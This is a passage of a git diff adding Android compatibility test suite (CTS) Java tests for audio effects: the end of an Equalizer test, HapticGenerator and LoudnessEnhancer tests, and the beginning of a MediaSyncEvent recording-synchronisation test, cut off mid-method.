+                assertTrue("invalid effect ID", (eq.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("Equalizer not initialized");
+            }
+        } catch (IllegalArgumentException e) {
+            fail("Equalizer not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test setBandLevel() and getBandLevel()
+    public void test1_0BandLevel() throws Exception {
+        getEqualizer(getSessionId());
+        try {
+            short numBands = mEqualizer.getNumberOfBands();
+            assertTrue("not enough bands", numBands >= MIN_NUMBER_OF_BANDS);
+
+            short[] levelRange = mEqualizer.getBandLevelRange();
+            assertTrue("min level too high", levelRange[0] <= MAX_LEVEL_RANGE_LOW);
+            assertTrue("max level too low", levelRange[1] >= MIN_LEVEL_RANGE_HIGH);
+
+            mEqualizer.setBandLevel((short)0, levelRange[1]);
+            short level = mEqualizer.getBandLevel((short)0);
+            // allow +/- TOLERANCE margin on actual level compared to requested level
+            assertTrue("setBandLevel failed",
+                    (level >= (levelRange[1] - TOLERANCE)) &&
+                    (level <= (levelRange[1] + TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //Test case 1.1: test band frequency
+    public void test1_1BandFrequency() throws Exception {
+        getEqualizer(getSessionId());
+        try {
+            short band = mEqualizer.getBand(TEST_FREQUENCY_MILLIHERTZ);
+            assertTrue("getBand failed", band >= 0);
+            int[] freqRange = mEqualizer.getBandFreqRange(band);
+            assertTrue("getBandFreqRange failed",
+                    (freqRange[0] <= TEST_FREQUENCY_MILLIHERTZ) &&
+                    (freqRange[1] >= TEST_FREQUENCY_MILLIHERTZ));
+            int freq = mEqualizer.getCenterFreq(band);
+            assertTrue("getCenterFreq failed",
+                    (freqRange[0] <= freq) && (freqRange[1] >= freq));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //Test case 1.2: test presets
+    public void test1_2Presets() throws Exception {
+        getEqualizer(getSessionId());
+        try {
+            short numPresets = mEqualizer.getNumberOfPresets();
+            assertTrue("getNumberOfPresets failed", numPresets >= MIN_NUMBER_OF_PRESETS);
+            if (numPresets > 0) {
+                mEqualizer.usePreset((short)(numPresets - 1));
+                short preset = mEqualizer.getCurrentPreset();
+                assertEquals("usePreset failed", preset, (short)(numPresets - 1));
+                String name = mEqualizer.getPresetName(preset);
+                assertNotNull("getPresetName failed", name);
+            }
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //Test case 1.3: test properties
+    public void test1_3Properties() throws Exception {
+        getEqualizer(getSessionId());
+        try {
+            Equalizer.Settings settings = mEqualizer.getProperties();
+            assertTrue("no enough bands", settings.numBands >= MIN_NUMBER_OF_BANDS);
+            short newLevel = 0;
+            if (settings.bandLevels[0] == 0) {
+                newLevel = -600;
+            }
+            String str = settings.toString();
+            settings = new Equalizer.Settings(str);
+            settings.curPreset = (short)-1;
+            settings.bandLevels[0] = newLevel;
+            mEqualizer.setProperties(settings);
+            settings = mEqualizer.getProperties();
+            assertTrue("setProperties failed",
+                    (settings.bandLevels[0] >= (newLevel - TOLERANCE)) &&
+                    (settings.bandLevels[0] <= (newLevel + TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //Test case 1.4: test setBandLevel() throws exception after release
+    public void test1_4SetBandLevelAfterRelease() throws Exception {
+        getEqualizer(getSessionId());
+        mEqualizer.release();
+        try {
+            mEqualizer.setBandLevel((short)0, (short)0);
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        getEqualizer(getSessionId());
+        try {
+            mEqualizer.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mEqualizer.getEnabled());
+            mEqualizer.setEnabled(false);
+            assertFalse("invalid state to getEnabled", mEqualizer.getEnabled());
+
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        getEqualizer(getSessionId());
+        mEqualizer.release();
+        try {
+            mEqualizer.setEnabled(true);
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseEqualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 priority and listeners
+    //----------------------------------
+
+    //Test case 3.0: test control status listener
+    public void test3_0ControlStatusListener() throws Exception {
+        synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getEqualizer(mSession);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEqualizer();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 3.1: test enable status listener
+    public void test3_1EnableStatusListener() throws Exception {
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mEqualizer2.setEnabled(true);
+            mIsEnabled = true;
+            getEqualizer(mSession);
+            mEqualizer.setEnabled(false);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEqualizer();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 3.2: test parameter changed listener
+    public void test3_2ParameterChangedListener() throws Exception {
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+
+            getEqualizer(mSession);
+            mChangedParameter = -1;
+            mEqualizer.setBandLevel((short)0, (short)0);
+
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseEqualizer();
+        }
+        assertEquals("parameter change not received",
+                Equalizer.PARAM_BAND_LEVEL, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getEqualizer(int session) {
+         if (mEqualizer == null || session != mSession) {
+             if (session != mSession && mEqualizer != null) {
+                 mEqualizer.release();
+                 mEqualizer = null;
+             }
+             try {
+                mEqualizer = new Equalizer(0, session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getEqualizer() Equalizer not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getEqualizer() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mEqualizer", mEqualizer);
+    }
+
+    private void releaseEqualizer() {
+        if (mEqualizer != null) {
+            mEqualizer.release();
+            mEqualizer = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the equalizer listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mEqualizer2 != null) {
+                mEqualizer2.setControlStatusListener(null);
+                mEqualizer2.setEnableStatusListener(null);
+                mEqualizer2.setParameterListener((Equalizer.OnParameterChangeListener)null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mSession = getSessionId();
+                mEqualizer2 = new Equalizer(0, mSession);
+                assertNotNull("could not create Equalizer2", mEqualizer2);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mEqualizer2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mEqualizer2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mEqualizer2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mEqualizer2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mEqualizer2.setParameterListener(new Equalizer.OnParameterChangeListener() {
+                            public void onParameterChange(Equalizer effect,
+                                    int status, int param1, int param2, int value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mEqualizer2) {
+                                        mChangedParameter = param1;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+        if (mEqualizer2 != null) {
+            mEqualizer2.release();
+            mEqualizer2 = null;
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java b/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java
new file mode 100644
index 0000000..6e03cfc
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.AudioManager;
+import android.media.audiofx.HapticGenerator;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+
+@NonMediaMainlineTest
+public class HapticGeneratorTest extends PostProcTestBase {
+
+    private String TAG = "HapticGeneratorTest";
+
+    //-----------------------------------------------------------------
+    // HAPTIC GENERATOR TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.release();
+    }
+
+    // Test case 0.1: test constructor and close
+    public void test0_1ConstructorAndClose() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.close();
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 1.0: test setEnabled() and getEnabled() in valid state
+    public void test1_0SetEnabledGetEnabled() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        try {
+            effect.setEnabled(true);
+            assertTrue("invalid state from getEnabled", effect.getEnabled());
+            effect.setEnabled(false);
+            assertFalse("invalid state from getEnabled", effect.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            effect.release();
+        }
+    }
+
+    private HapticGenerator createHapticGenerator() {
+        try {
+            HapticGenerator effect = HapticGenerator.create(getSessionId());
+            try {
+                assertTrue("invalid effect ID", (effect.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("HapticGenerator not initialized");
+            }
+            return effect;
+        } catch (IllegalArgumentException e) {
+            fail("HapticGenerator not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } catch (RuntimeException e) {
+            fail("Unexpected run time error: " + e);
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java
new file mode 100644
index 0000000..468f929
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java
@@ -0,0 +1,261 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+
+import android.content.Context;
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.media.audiofx.LoudnessEnhancer;
+import android.media.cts.PostProcTestBase;
+import android.platform.test.annotations.AppModeFull;
+import java.util.UUID;
+import android.media.audiofx.Visualizer;
+import android.media.audiofx.Visualizer.MeasurementPeakRms;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+@AppModeFull(reason = "Dynamic config disabled.")
+public class LoudnessEnhancerTest extends PostProcTestBase {
+
+    private String TAG = "LoudnessEnhancerTest";
+    private LoudnessEnhancer mLE;
+
+    //-----------------------------------------------------------------
+    // LOUDNESS ENHANCER TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull("null AudioManager", am);
+        getLoudnessEnhancer(0);
+        releaseLoudnessEnhancer();
+
+        int session = am.generateAudioSessionId();
+        assertTrue("cannot generate new session", session != AudioManager.ERROR);
+        getLoudnessEnhancer(session);
+        releaseLoudnessEnhancer();
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test set/get target gain
+    public void test1_0TargetGain() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        getLoudnessEnhancer(0);
+        try {
+            mLE.setTargetGain(0);
+            assertEquals("target gain differs from value set", 0.0f, mLE.getTargetGain());
+            mLE.setTargetGain(800);
+            assertEquals("target gain differs from value set", 800.0f, mLE.getTargetGain());
+        } catch (IllegalArgumentException e) {
+            fail("target gain illegal argument");
+        } catch (UnsupportedOperationException e) {
+            fail("target gain unsupported operation");
+        } catch (IllegalStateException e) {
+            fail("target gain operation called in wrong state");
+        } finally {
+            releaseLoudnessEnhancer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        getLoudnessEnhancer(getSessionId());
+        try {
+            mLE.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mLE.getEnabled());
+            mLE.setEnabled(false);
+            assertFalse("invalid state to getEnabled", mLE.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseLoudnessEnhancer();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        getLoudnessEnhancer(getSessionId());
+        mLE.release();
+        try {
+            mLE.setEnabled(true);
+            fail("setEnabled() processed after release()");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseLoudnessEnhancer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 - check effect using visualizer effect
+    //----------------------------------
+
+    //Test case 3.0: test loudness gain change in audio
+    public void test3_0MeasureGainChange() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioEffect vc = null;
+        Visualizer visualizer = null;
+        MediaPlayer mp = null;
+        try {
+            // this test will play a 1kHz sine wave with peaks at -40dB, and apply 6 db gain
+            // using loudness enhancement
+            mp = MediaPlayer.create(getContext(), R.raw.sine1khzm40db);
+            final int LOUDNESS_GAIN = 600;
+            final int MAX_MEASUREMENT_ERROR_MB = 200;
+            assertNotNull("null MediaPlayer", mp);
+
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            vc = new AudioEffect(
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
+                    0,
+                    mp.getAudioSessionId());
+            vc.setEnabled(true);
+
+            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+            assertNotNull("null AudioManager", am);
+            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+            am.setStreamVolume(AudioManager.STREAM_MUSIC,
+                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
+            int sessionId = mp.getAudioSessionId();
+
+            getLoudnessEnhancer(sessionId);
+            visualizer = new Visualizer(sessionId);
+
+            mp.setLooping(true);
+            mp.start();
+
+            visualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", visualizer.getEnabled());
+            Thread.sleep(100);
+            int status = visualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
+            Thread.sleep(500);
+            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
+                    Visualizer.SUCCESS, status);
+            // make sure we're playing long enough so the measurement is valid
+            int currentPosition = mp.getCurrentPosition();
+            int maxTry = 100;
+            int tryCount = 0;
+            while (currentPosition < 200 && tryCount < maxTry) {
+                Thread.sleep(50);
+                currentPosition = mp.getCurrentPosition();
+                tryCount++;
+            }
+            assertTrue("MediaPlayer not ready", tryCount < maxTry);
+
+            MeasurementPeakRms measurement = new MeasurementPeakRms();
+            status = visualizer.getMeasurementPeakRms(measurement);
+            assertEquals("getMeasurementPeakRms() reports failure", Visualizer.SUCCESS, status);
+
+            //run for a new set of 3 seconds, get new measurement
+            mLE.setTargetGain(LOUDNESS_GAIN);
+            assertEquals("target gain differs from value set", (float)LOUDNESS_GAIN,
+                    mLE.getTargetGain());
+
+            mLE.setEnabled(true);
+
+            visualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
+            Thread.sleep(500);
+
+            MeasurementPeakRms measurement2 = new MeasurementPeakRms();
+            status = visualizer.getMeasurementPeakRms(measurement2);
+            assertEquals("getMeasurementPeakRms() reports failure", Visualizer.SUCCESS, status);
+
+            //compare both measurements
+            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+            assertEquals("getMeasurementPeakRms() reports failure",
+                    Visualizer.SUCCESS, status);
+            Log.i("LETest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
+            Log.i("LETest", "peak2="+measurement2.mPeak+"  rms2="+measurement2.mRms);
+
+            int deltaPeak = Math.abs(measurement2.mPeak - (measurement.mPeak + LOUDNESS_GAIN) );
+            assertTrue("peak deviation in mB = "+deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            if (mp != null) {
+                mp.stop();
+                mp.release();
+            }
+
+            if (vc != null)
+                vc.release();
+
+            if (visualizer != null)
+                visualizer.release();
+
+            releaseLoudnessEnhancer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+    private void getLoudnessEnhancer(int session) {
+        releaseLoudnessEnhancer();
+        try {
+            mLE = new LoudnessEnhancer(session);
+        } catch (IllegalArgumentException e) {
+            Log.e(TAG, "getLoudnessEnhancer() LoudnessEnhancer not found exception: ", e);
+        } catch (UnsupportedOperationException e) {
+            Log.e(TAG, "getLoudnessEnhancer() Effect library not loaded exception: ", e);
+        }
+        assertNotNull("could not create LoudnessEnhancer", mLE);
+    }
+
+    private void releaseLoudnessEnhancer() {
+        if (mLE != null) {
+            mLE.release();
+            mLE = null;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/MediaSyncEventTest.java b/tests/tests/media/audio/src/android/media/audio/cts/MediaSyncEventTest.java
new file mode 100644
index 0000000..5ef6518
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/MediaSyncEventTest.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioTrack;
+import android.media.MediaSyncEvent;
+import android.os.Parcel;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class MediaSyncEventTest {
+    private final static String TAG = "MediaSyncEventTest";
+
+    @Test
+    public void testSynchronizedRecord() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        final String TEST_NAME = "testSynchronizedRecord";
+        AudioTrack track = null;
+        AudioRecord record = null;
+
+        try {
+            // 1. create a static AudioTrack.
+            final int PLAYBACK_TIME_IN_MS = 2000; /* ms duration. */
+            final int PLAYBACK_SAMPLE_RATE = 8000; /* in hz */
+            AudioFormat format = new AudioFormat.Builder()
+                    .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                    .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+                    .setSampleRate(PLAYBACK_SAMPLE_RATE)
+                    .build();
+            final int frameCount = AudioHelper.frameCountFromMsec(PLAYBACK_TIME_IN_MS, format);
+            final int frameSize = AudioHelper.frameSizeFromFormat(format);
+            track = new AudioTrack.Builder()
+                    .setAudioFormat(format)
+                    .setBufferSizeInBytes(frameCount * frameSize)
+                    .setTransferMode(AudioTrack.MODE_STATIC)
+                    .build();
+            // create float array and write it
+            final int sampleCount = frameCount * format.getChannelCount();
+            byte[] vab = AudioHelper.createSoundDataInByteArray(
+                    sampleCount, PLAYBACK_SAMPLE_RATE, 600 /* frequency */, 0 /* sweep */);
+            assertEquals(TEST_NAME, vab.length,
+                    track.write(vab, 0 /* offsetInBytes */, vab.length,
+                            AudioTrack.WRITE_NON_BLOCKING));
+            final int trackSessionId = track.getAudioSessionId();
+
+            // 2. create an AudioRecord to sync off of AudioTrack completion.
+            final int RECORD_TIME_IN_MS = 2000;
+            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_STEREO;
+            final int RECORD_SAMPLE_RATE = 44100;
+            record = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setSampleRate(RECORD_SAMPLE_RATE)
+                            .setChannelMask(RECORD_CHANNEL_MASK)
+                            .setEncoding(RECORD_ENCODING)
+                            .build())
+                    .build();
+            // AudioRecord creation may have silently failed, check state now
+            assertEquals(TEST_NAME, AudioRecord.STATE_INITIALIZED, record.getState());
+
+            // 3. create a MediaSyncEvent
+            // This MediaSyncEvent checks playback completion of an AudioTrack
+            // (or MediaPlayer, or ToneGenerator) based on its audio session id.
+            //
+            // Note: when synchronizing record from a MediaSyncEvent
+            // (1) You need to be "close" to the end of the associated AudioTrack.
+            // If the track does not complete in 30 seconds, recording begins regardless.
+            // (actual delay limit may vary).
+            //
+            // (2) Track completion may be triggered by pause() as well as stop()
+            // or when a static AudioTrack completes playback.
+            //
+            final int eventType = MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE;
+            MediaSyncEvent event = MediaSyncEvent.createEvent(eventType)
+                    .setAudioSessionId(trackSessionId);
+            assertEquals(TEST_NAME, trackSessionId, event.getAudioSessionId());
+            assertEquals(TEST_NAME, eventType, event.getType());
+
+            // 4. now set the AudioTrack playing and start the recording synchronized
+            track.play();
+            // start recording.  Recording state turns to RECORDSTATE_RECORDING immediately
+            // but the data read() only occurs after the AudioTrack completes.
+            record.startRecording(event);
+            assertEquals(TEST_NAME,
+                    AudioRecord.RECORDSTATE_RECORDING, record.getRecordingState());
+            long startTime = System.currentTimeMillis();
+
+            // 5. get record data.
+            // For our tests, we could set test duration by timed sleep or by # frames received.
+            // Since we don't know *exactly* when AudioRecord actually begins recording,
+            // we end the test by # frames read.
+            final int numChannels =
+                    AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK);
+            final int bytesPerSample = AudioFormat.getBytesPerSample(RECORD_ENCODING);
+            final int bytesPerFrame = numChannels * bytesPerSample;
+            // careful about integer overflow in the formula below:
+            final int targetSamples =
+                    (int)((long)RECORD_TIME_IN_MS * RECORD_SAMPLE_RATE * numChannels / 1000);
+            final int BUFFER_FRAMES = 512;
+            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
+
+            // After starting, there is no guarantee when the first frame of data is read.
+            long firstSampleTime = 0;
+            int samplesRead = 0;
+
+            // For 16 bit data, use shorts
+            short[] shortData = new short[BUFFER_SAMPLES];
+            while (samplesRead < targetSamples) {
+                // the first time through, we read a single frame.
+                // this sets the recording anchor position.
+                int amount = samplesRead == 0 ? numChannels :
+                        Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                int ret = record.read(shortData, 0, amount);
+                assertEquals(TEST_NAME, amount, ret);
+                if (samplesRead == 0 && ret > 0) {
+                    firstSampleTime = System.currentTimeMillis();
+                }
+                samplesRead += ret;
+                // validity check: elapsed time cannot be more than a second
+                // than what we expect.
+                assertTrue(System.currentTimeMillis() - startTime <=
+                        PLAYBACK_TIME_IN_MS + RECORD_TIME_IN_MS + 1000);
+            }
+
+            // 6. We've read all the frames, now check the timing.
+            final long endTime = System.currentTimeMillis();
+            //Log.d(TEST_NAME, "first sample time " + (firstSampleTime - startTime)
+            //        + " test time " + (endTime - firstSampleTime));
+            //
+            // Verify recording starts within 400 ms of AudioTrack completion (typical 180ms)
+            // Verify recording completes within 50 ms of expected test time (typical 20ms)
+            assertEquals(TEST_NAME, PLAYBACK_TIME_IN_MS, firstSampleTime - startTime,
+                    isLowLatencyDevice() ? 200 : 800);
+            assertEquals(TEST_NAME, RECORD_TIME_IN_MS, endTime - firstSampleTime,
+                    isLowLatencyDevice()? 50 : 400);
+
+            record.stop();
+            assertEquals(TEST_NAME, AudioRecord.RECORDSTATE_STOPPED, record.getRecordingState());
+        } finally {
+            if (record != null) {
+                record.release();
+                record = null;
+            }
+            if (track != null) {
